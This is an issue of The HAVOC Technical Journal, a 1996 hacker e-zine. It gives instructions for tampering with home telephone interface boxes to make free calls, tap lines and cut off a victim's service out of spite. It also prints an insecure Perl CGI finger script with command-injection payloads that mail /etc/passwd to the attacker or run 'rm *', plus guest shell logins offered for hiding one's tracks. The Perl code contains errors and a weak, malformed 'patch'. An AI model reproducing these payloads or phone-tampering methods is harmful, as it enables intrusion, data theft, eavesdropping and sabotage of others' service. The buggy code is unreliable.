Copy Link
Add to Bookmark
Report
The Havoc Technical Journal 04
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³The HAVOC Technical Journal ³±
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
Vol. 1 | No.4 | October 1st, 1996 | A HAVOC Bell Systems Publication
"Protected by the First Amendment"
_____________________________________________________________________________
Inside this issue:
Whats new this issue..............................A
Editorial......................................... l
The Network Identification Device Pt. 1........... l
Writting Inscure CGI Progs........................
The End of penet.fi............................... b
ROLL CALL & more!................................. y
Next Month........................................ Scud-O
(I need more writers!!! e-mail me if ya want to write an article!
my e-mail is: FoxMulder@worldnet.att.net (yes its back up..)
the mags e-mail is: thtj@juno.com (wheee.. we get to read ads as
we get your e-mail!) )
This months music supplied by: Sublime, The Future Sound of London
and Zion Train and Violent Femmes. Oh yea.. and WHFS 99.1 !
What's new in this issue:
Well if you weren't so cheap you would see our nice new format! but
the online version has none of that neatness.. My new school has a
lab with a scanner so the print version should get some nice pics
soon...
Also Scud-O is now on IRC often.. Im on #phreak and #hacker often on
undernet.. to c'mon in and join us for a chat...
If ya want a print version and some extra goodies... e-mail me!
-----------------------------------------------------------
How to contact us:
Check Out Our Web Site:
www.geocities.com/SiliconValley/8805/
my (Scud-O) e-mail is : FoxMulder@worldnet.att.net
our Mag e-mail is : thtj@juno.com
HELLCORE's e-mail is : hellcore@juno.com
---------------------------------------------------------------
Editorial:
by Scud-O
Well another month another issue.. but hey if ya had the print version you
would see our nice new format.. its kind of slick... were still messing
around so it can only get better...Welp on to bigger and other things...
lately i've been hit with ALOT of lamers.. (I gots ops on #hacker, thats why)
(sometimes on #phreak as well...) well anyway.. EVERY lamer on #hacker was
like 'teach me' so i relpied 'on what?' they came back with 'everything' so
i said 'get some manuals and RTFM' and they all replied 'what?' .. people
this is PATHETIC!! We need to protect ourselves from these newbies! any
suggestions? e-me: FoxMulder@worldnet.att.net
The Network Identification Device (NID) Pt.1
by Scud-O
These days it seems that NIDs have been left unabused when they are a great
device to mess with. Why you ask? Well, there are many things you can to with
them. But first where can you find them? well every house has one! My house
has an old one, but most new ones I see are the size of a sunglass case
which have a 7/16 inch socket screw in them. There are also some bigger ones
( usually in houseing complexes) that have a user opening and a telco opening.
A little history:
The NID was created to for test purposes. The NID is the main
connection from Bell to the houses lines. You can test this NID to see if
Bells lines are fucked or if your lines are fucked. If you live in
Bell Atlantic area, their White Pages have some info on NIDS.
Back to the article:
The NID can be used for many purposes:
1. Free phone calls: Inside the NID there is a jack and a plug. If you unplug
the jack and stick a phone in the plug you can then make calls free of
charge, but the lines restrictions still apply (900 block, call waiting, etc)
To find the line number just use your trusty ANI. And since the jack in the
NID is out, the customer can't interupt you and make a call. Or you can find
a 2 jack to one converter (they sell em in Radio Shack.. its so you can put
more than one phone in a jack) and plug it all together so they can still
make calls.
2. Phone tap: This is just a modification of the 2 to 1 jack converter, just
wait for a call.. you cant leave the phone off the hook.. well because it
will go off the hook... (hmm... maybe next month I'll find out how to be able
to listen 24 hours a day...)
3. Disconnect customer: did some one piss you off? we just open their NID and
unplug the jack and leave... no service... it will take a few days to get
service and they are just totally fucked then... hehehehehehe...
Next Month: read as I steal a NID and slice and dice it!! also: more fun
tricks!
Writting Insecure CGI Progs:
by Scud-O
CGI programs really are wonderful.. you can easily give them information
that we shouldn't have!
What follows is a simple CGI prog that you can install to get the servers
password file! The program is actually a finger gateway.. but who cares..
next month or maybe this month I'll print the secure source code to show a
webmaster or sysadmin...
Here's the HTML code:
<FORM ACTION="/cgi-bin/finger.pl" METHOD="POST">
<INPUT TYPE="text" NAME="user" SIZE=40>
<INPUT TYPE="submit" VALUE="Get Information">
</FORM>
Here's the actual CGI Perl Prog:
#!/usr/local/bin/perl
&parse_form_data(*simple);
$user = $simple{'user'};
print "Content-type: text/plain", "\n\n";
print "Here are the results of your query: "\n";
print '/usr/local/bin/finger $user';
print "\n";
exit (0);
the parse_form_data sub:
(NOTE: ya need this to trasnlater the info for both progs.. other
wise ya fucked! )
sub parse_form_data
{
local(*FORM_DATA) = @_;
local( $request_method, $query_string, @key_value_pairs,
$key_value, $key, $value);
$request_method = $ENV('REQUEST_METHOD');
if ($request_method eg "GET") {
$query_string = $ENV{'QUERY_STRING'};
} elsif ($request_method eg "POST") {
$query_string = $ENV{'CONTENT_LENGTH'};
} else {
&return_error (500, "Server Error',
"Server uses unsupported method");
}
@key_value_pairs = split (/&/, $query_string);
foreach $key_value (@key_value_pairs) {
($key, $value) = split (/=/, $key_value);
$value =~ tr/+/ /;
$value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
if (defined($FORM_DATA{$key})) {
$FORM_DATA{$key} = join("\0", $FORM_DATA{$key}, $value);
} else {
$FORM_DATA{$key} = $value;
}
}
the return_error sub:
(NOTE: ya need this for the parse sub, and the patched version! )
sub return_error
{
local($status, $keyword, $message) =@_;
print "Content-type: text/html", "\n";
print "Status: ", $status, " ", $keyword, "\n\n";
print << End_of_Error;
<title>Unexpected Error!</title>
<h1>$keyword</h1>
<hr>$message</hr>
Please contact $webmater for more information.
End_of_Error
exit(1);
}
So thats it! below is the patched source:
#!/usr/local/bin/perl
&parse_form_data(*simple);
$user = $simple{'user'};
if($user =~ /[;><&\*'\|]) {
&return_error(500, "CGI Finger Alert", "What are you trying
to do?");
} else {
print "Content-type: text/plain", "\n\n";
print "Here are the results of your query: "\n";
print '/usr/local/bin/finger $user';
print "\n";
}
exit (0);
So what you aske.. we the first one if you type:
; mail -s "passwords!" you@yourdomain.com < /etc/passwd
then you get yourslef a copy of the server's password lists being mailed to
you!
or try:
; rm *
and delete their directory of files!
The End of penet.fi :
by Scud-O
Well the pressure was finally too much, as penet.fi will no longer give out
anonymous e-mail. But the people that already have addresses can still send
stuff. But newsgroup post aren't allowed anymore... but you can still get
anon news posts. So what will happen? well I think hacking penet emails will
be fun for a while, but we will all start getting Juno accounts.. the're free
you can forge them, and they are dissposible, but you have to read e-mail,
click thru a list of hobbies, etc, and more and then your e-mails get adds
in them... oh well though...
ROLL CALL & More!
Who is HAVOC?
Scud-O : Pope boy
Psycho : Fag Vice Pope
Pinky : In hidding
Rotten : Moving fool
Sid : Other Moving Fool (and the're twins as well! )
Want to join? next month we got a sign up sheet!
Cool People:
|\|\cFill
theLURK7R (sometimes theLURK3R )
JKMG-Boba ( aka Boba)
Alef
all on IRC!
This Month Question: We ask why has |)eadLoss\Mulder changed his name?
Well.. some knew me as |)eadLoss , some as Mulder, so I
combined the 2.. but people we ever more confused, so I said fuck em!
and I changed it to Scud-O .. Scud-O is a cool guy..
Next Month's Question: Who is Scud-O ?
Next Month:
This MANY be what we will have in issue 5
We have more on the NID
Virus Theory Pt.2
More Virus Stuff
RTFM: The lamer Journal
Whats up in the HELLCORE Labs?
Pager Talk
AND MUCH MORE TBA !
Issue 5 is out Oct. 31st!
cya ya next issue! -Scud-O
Wait! we have a bonus:
Some shell accounts to use to cover your ass:
Freenet accounts: login
freenet.buffalo.edu guest
freenet.hsc.colorado.edu guest
heartland.bradley.edu bbguest
freenet.lorain.oberlin.edu guest
freenet.victoria.bc.ca guest
cbos.uc.edu visitor
yfn.ysu.edu visitor
freenet-in-a.cwru.edu fnguest
b
c
------------------------
Okay that is all!
============================================================
= IS this copy of The HAVOC Technical Journal Skunked?
= If this file reads larger than 11078 bytes than this issue
= has been messed with! get a fresh copy from our site:
= www.geocities.com/SiliconValley/8805/
============================================================